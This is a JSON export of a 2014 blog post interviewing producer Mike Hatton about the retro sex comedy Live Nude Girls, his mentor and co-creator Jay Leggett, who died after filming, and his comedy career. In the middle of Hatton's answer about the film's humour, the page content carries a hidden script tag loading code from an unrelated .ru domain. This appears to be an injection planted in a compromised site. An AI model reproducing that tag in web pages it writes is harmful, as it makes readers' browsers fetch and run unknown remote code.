{"id":12238,"date":"2014-08-19T08:07:08","date_gmt":"2014-08-19T14:07:08","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=12238"},"modified":"2014-08-21T10:01:08","modified_gmt":"2014-08-21T16:01:08","slug":"live-nude-girls-five-quick-questions-with-mike-hatton","status":"publish","type":"post","link":"http:\/\/www.bmovienation.com\/?p=12238","title":{"rendered":"Live Nude Girls &#8211; Five Quick Questions with Mike Hatton"},"content":{"rendered":"<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12248\" rel=\"attachment wp-att-12248\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12248\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/mikejay-300x210.jpg\" alt=\"mikejay\" width=\"300\" height=\"210\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/mikejay-300x210.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/mikejay.jpg 680w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Do you miss those classic T&amp;A comedy movies from the 80s?\u00a0 You have to check out <em>Live Nude Girls<\/em>, it\u2019s a nostalgic 80s style film that\u2019s hilarious and sexy.\u00a0 The film was created and produced by Mike Hatton and Jay Leggett.\u00a0 Actors\u00a0Dave Foley, Mike Hatton and Andy Dick along with actresses Bree Olson, Mindy Robinson, Asa Akir, Kristen DeLuca, Tera Patrick, and Annemarie Pazmino deliver plenty of witty and whacky comedy.<\/p>\n<p>Tragically Jay who directed and co-wrote the screenplay passed away in November of 2013, shortly after the film was completed.\u00a0 Mike and the <em>Live Nude Girls<\/em> team were devastated and are still coping.\u00a0 Mike and the team were determined to get the film released as soon as possible in honor of Jay.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12245\" rel=\"attachment wp-att-12245\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12245\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng-cover-2-231x300.jpg\" alt=\"lng-cover-2\" width=\"231\" height=\"300\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng-cover-2-231x300.jpg 231w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng-cover-2.jpg 742w\" sizes=\"auto, (max-width: 231px) 100vw, 231px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><strong>Five Quick Questions with Mike Hatton \u2013 Live Nude Girls<\/strong><\/p>\n<p>The story of Live Nude Girls is the dream of many men, but how did the concept come about?<\/p>\n<p><strong>MIKE: We were thinking about a good setting for a project and I came up with \u201cDazed and Confused\u201d in a strip club.\u00a0 We thought it would be funny to build on that and have it take place in the 80s since that seemed like a much more innocent time than the present.\u00a0 It started as a ridiculous idea, but once we started brainstorm and then put the whole thing together we created, not to sound clich\u00e9, an homage to the great 1980s sex comedy films of that era.\u00a0 Films like \u201cPorky&#8217;s\u201d \u201cRisky Business\u201d and \u201cJust One of The Guys.\u201d\u00a0 Those are the type of movies I grew up watching and we wanted to make one of those for modern era.\u00a0 The adult stars of the film came into play after we got more into it.\u00a0 I wanted to cast woman who were comfortable in their own skin and OK with having their shirts off all the time.\u00a0 I mean, not having shirts off between takes of course (which would have been awesome) but you&#8217;ve got to understand, that most \u201cmainstream\u201d actresses don&#8217;t want a bunch of dudes on set hanging around while they&#8217;re trying to do a scene in a birthday suit.\u00a0 Casting porn stars not only gets you capable actresses who don&#8217;t have a problem getting nude, it also gets you a huge fan fan base.\u00a0\u00a0<\/strong><strong>\u00a0<\/strong><strong>These women have many fans and followers and they&#8217;re really good in this! <strong>From a business perspective, the concept seemed like it had a lot of upside<\/strong>.\u00a0 It was fitting to also cast mainstream actresses like Mindy Robinson who is a well-respected\u00a0and in over a hundred films and has a large fan base.\u00a0<\/strong><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12247\" rel=\"attachment wp-att-12247\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12247\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lngmindy-300x168.jpg\" alt=\"lngmindy\" width=\"300\" height=\"168\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lngmindy-300x168.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lngmindy.jpg 776w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>What type of comedy can we expect in Live Nude Girls?<\/p>\n<p><strong>MIKE: We tried to keep a fair mix of smart humor with enough raunchy or blue jokes and \u201cT&amp;A\u201d to keep fans happy.\u00a0 Jay was a basically responsible for everything smart. I\u2019m more of a dick and fart joke kind of guy and Jay was able to take those premises and mold them into smart jokes.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/strong><\/p>\n<p><strong>At any given moment the film can be heartfelt, wacky, raunchy, ridiculous, sad and most importantly&#8212; FUN!<\/strong><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12246\" rel=\"attachment wp-att-12246\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12246\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lngjay-300x229.jpg\" alt=\"lngjay\" width=\"300\" height=\"229\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lngjay-300x229.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lngjay-785x600.jpg 785w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lngjay.jpg 960w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Tragically Live Nude Girls director\/writer Jay Leggett passed away shortly after filming. Jay was a brilliant and hilarious man.\u00a0 Can you tell us about your personal relationship with Jay and how it was working with him?<\/p>\n<p><strong>MIKE: Jay was amazing person.\u00a0 Kind of guy that would help anyone in need.\u00a0 And funny.\u00a0 Could put me in tears and make me laugh till it hurt.\u00a0 He was my mentor and an amazing director who became one of my closest friends. I met Jay when I was taking classes at The Second City and he was the director of our show run.\u00a0 Jay always said our group had something special and he kept in touch with all of us. We actually used two other SC classmates of mine in \u201cLive Nude Girls,\u201d Matt Offerman who plays Paulie and Naomi Leonard who plays, \u201cChancey.\u201d\u00a0 They are two of the most talented people I know and Jay was always big fan of theirs.\u00a0 Wrote those parts just for them.\u00a0 He always did that for people he liked. He&#8217;d find someone and improve them and show them that they could work in this town.\u00a0 He made people believe in themselves.\u00a0 It wasn&#8217;t just about honing your craft with Jay- it was about finding your place in the business.\u00a0 Another classmate of our&#8217;s was Bill Hader from Saturday Night Live who Jay would constantly say was one of the best he&#8217;d ever seen.\u00a0 He was proud of the work he did with Bill.\u00a0 He also discovered some other amazing people including the hilarious Adam DeVine from Workaholics, Jay had an incredible eye for talent. <\/strong><\/p>\n<p><strong>We were close as an actor director and then through production our relationship grew tremendously.\u00a0 We talked every day and it was like a war, the ups and downs, money found then lost and losing talent and re-casting at the last minute.\u00a0 It was emotional, it was pain and joy and I did that every day with him. We were very tight from that experience and Jay\u2019s passing was a huge loss for me personally.\u00a0 Fortunately the movie was completed when he passed the film is a director\u2019s cut.\u00a0 For lack of a better term, it was his \u201cfinal cut.\u201d\u00a0 I wouldn&#8217;t let the distributors change it.\u00a0 That&#8217;s how I could honor Jay.\u00a0 One day I&#8217;ll do more.\u00a0 Some of his scripts are done and I want to produce them.\u00a0 But that will take time.\u00a0 He was an amazing person and I dearly miss him.\u00a0 The world lost a great man and the comedy world lost a great teacher and friend.<\/strong><\/p>\n<p><strong>It hurts every day and truthfully I&#8217;ve had no time to mourn as I was literally at his wake two days after his passing and got the call from my wife that I needed to come home because she was giving birth to our twins.\u00a0 Jay kept saying, \u201cWe&#8217;ve got to get this finished before your wife pops,\u201d but now I realize that he needed to finish it before he left us.\u00a0 It\u2019s crazy the way it wall went down.\u00a0 It really is the circle of life.\u00a0 Cue the Elton John song.<\/strong><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12241\" rel=\"attachment wp-att-12241\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12241\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/andy-mindy-300x300.jpg\" alt=\"andy-mindy\" width=\"300\" height=\"300\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/andy-mindy-300x300.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/andy-mindy-145x145.jpg 145w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/andy-mindy.jpg 480w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Have you always been into comedy and what\u2019s your comedy and industry background?<\/p>\n<p><strong>MIKE: I knew I wanted to get in comedy and acting as I always was the class clown, or tried to be.\u00a0\u00a0 I got a job as a camera man and editor working at TV station during in Terre Haute, Indiana for a CBS affiliate.\u00a0 I&#8217;d occasionally make some comedic appearances on air and then after graduating I relocated and became a reporter in Palm Springs where I was known for live shots and basically being a goof ball on the air.\u00a0 At the same time I was attending Second City in Los Angeles.\u00a0 Since I had no resume and my mommy or daddy ain&#8217;t rich or in the business, I had to start at the bottom.\u00a0 I started taking classes at Second City in Los Angeles and commuted in 120 miles every weekend to do so.\u00a0 After awhile I started auditioning and booked a few feature films and did a lot of ton of sketch comedy.\u00a0 Later on I started doing stand-up at places like The Improv and The Comedy Store.\u00a0 I got to a point where a manager was trying to get me to tour and I had a kid on the way.\u00a0 My day job was producing local TV commercials for clients and I had built this company and I thought, \u201cI&#8217;m producing every day for a living, why aren&#8217;t I doing this for my career too?\u201d\u00a0 So I started working on ideas for TV shows and feature films.\u00a0 Not just things for me to act in, but ideas for other celebrities, like reality shows and game shows, other feature films ideas.\u00a0 So when I started working on Live Nude Girls, I had already sold a few unscripted TV series ideas and had produced another indie film and some viral videos.\u00a0 Although everything I do has a humorous side to it&#8230; always about keeping things fun. <\/strong><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12242\" rel=\"attachment wp-att-12242\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12242\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng1-300x168.jpg\" alt=\"lng1\" width=\"300\" height=\"168\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng1-300x168.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng1-785x441.jpg 785w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng1.jpg 960w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now that Live Nude Girls will be released on August 19th, what are you working on next?<\/p>\n<p><strong>MIKE: Many of the unscripted projects I&#8217;ve sold are sitting in development at major cable networks&#8230; so I&#8217;m looking forward to some of them coming out later this year.\u00a0 However, my main focus is getting a few more features films produced.\u00a0 One is a horror comedy and the other a romantic comedy- really great stuff with amazing people attached to direct and star.\u00a0 I&#8217;m really excited because I love the roller coaster ride of making feature films and these are much larger projects than Live Nude Girls so I&#8217;m sure I&#8217;m in for one hell of a ride!!\u00a0 I&#8217;m so proud of Live Nude Girls and can&#8217;t wait for the world to see what Jay and I were able to accomplish.\u00a0 It&#8217;s a lot of fun.<\/strong><\/p>\n<p><strong>Live Nude Girls is released worldwide on DVD and digital VOD outlets through Screen Media Films. <\/strong><a href=\"http:\/\/www.imdb.com\/title\/tt2946498\/\"><strong>www.imdb.com\/title\/tt2946498\/<\/strong><\/a><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12243\" rel=\"attachment wp-att-12243\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12243\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng3-300x204.jpg\" alt=\"lng3\" width=\"300\" height=\"204\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng3-300x204.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng3-785x533.jpg 785w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/lng3.jpg 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